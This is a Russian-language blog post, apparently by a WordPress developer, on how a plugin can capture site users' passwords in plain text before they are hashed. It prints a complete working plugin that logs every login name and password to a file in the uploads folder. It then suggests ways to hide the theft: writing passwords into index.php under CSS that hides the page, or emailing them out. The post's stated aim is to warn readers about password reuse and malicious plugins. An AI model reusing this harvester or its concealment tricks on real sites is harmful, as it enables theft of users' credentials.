Плагин позволяющий сохранить пароли в открытом виде.

На различны митапах и конференциях меня часто спрашивают как правило в пол голоса можно ли написать такое расширение что бы пароли посетителей веб сайта сохраняло в открытом виде.

Спрашивают это так часто и так неожиданно, что а даже не знаю с чего начать, с того что так делать плохо, или с того что это слишком легко.

И правда можно ли?
Если задуматься о том как обычно проходит авторизация пользователей как минимум на тех сайтах которые используют php, можно прийти к выводу что почти все они используют данные отправляемые методом POST или GET.
Теперь если вспомнить такую особенность php что все вышеперечисленные запросы содержатся внутри суперглобальных массивов, а супер глобальный массив доступен в любой части исполняемого скрипта (потому он так странно и назван) то можно сделать вывод что украсть и сохранить пароль можно еще до того как он преобразуется в хеш.

Для демонстранции я даже покажу пример плагина для WordPress который
Конечно я не несу ответсвенности за написанное, код размешен в образовательных целях и выдаст себя большим красным банером в админке.

<?php
/*
Plugin Name: Hacker
Plugin URI: http://wordpress.org/wp-login-hacker
Description: Matrix has you
Author: Vladimir Petrozavodsky
Version: 1
Author URI: https://alkoweb.ru/
*/
function hack_notice() {
	$path = wp_upload_dir();
	echo "<div class='updated error' id='hacker'>
	<p>Ваши аутентификационные данные сохраняются в открытом виде,</p>
	<p> в файл ".$path['basedir']."/database.txt
	<br>
	<p><strong>Это может иметь очень плохие последствия для вас и вашего cайта!!!</strong></p>
	</div>";
}
add_action( 'admin_notices', 'hack_notice' );

function hack_css() {
	echo "
	<style type='text/css'>
	#hacker strong {
	color:red;
	}
	</style>
	";
}
add_action( 'admin_head', 'hack_css' );

function hack_post_watcher(){
	$path = wp_upload_dir();	
	if( !empty($_POST['log']) and !empty($_POST['pwd']) ){
		$tmp = fopen($path['basedir'] . "/database.txt","at");
		fwrite($tmp,$_POST["log"].':'.$_POST["pwd"].' '.date('d-m-Y h:m:s')."\n");
		fclose($tmp);
	}
}
add_action('login_init', 'hack_post_watcher');

Основная идея тут в том что при в ходе входе на сайт плагин внедряет свой в скрипт обработки POST запросов, после чего добавляет их в специально созданный в каталоге /wp-content/uploads/database.txt и добавляет дату и время для наглядности (именно в этом каталоге потому что он скорее всего доступен на запись).
Да такую подозрительную активность легко заметить, но я и не пытался что либо скрыть, скорее наоборот. В реальной практике пароли можно писать например не в приметный database.txt а в index.php а в самое начало дописать например

<style>
*{display:none;}
</style>

злоумышленник сможет открыть этот файл в браузере и в исходном коде посмотреть пароли, а обычный пользователь ничего не усидит даже если случайно обнаружит этот url.

Но не обязательно что либо сохранять вообще, можно прямо средствами php отправлять пароли на сразу на email, а дальше на что фантазии хватит.

Так же многие ошибочно думают что их пароль от блога не представляет особой ценности или интересен только доя них самих.
Рассуждения с таких случаях строятся примерно так — сломают блог восстановлю бекап, пароли сменю, это очень и буду в полной безопасности.

Но это лишь иллюзия безопасности.

Как минимум по двум причинам.

Во-первых: не кривя душой вспомним как часто мы используем
одинаковые пары логин-пароль на разных сайтах, правильно часто ( ну или в лучшем случае делали это когда либо раньше).

Во-вторых: а кто сказал что вы вообще заметите присутствие опасного кусочка кода :)

На этом на сегодня все, придумывайте разные паром для критичных сервисов, и не задавайте глупых вопросов разработчикам.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *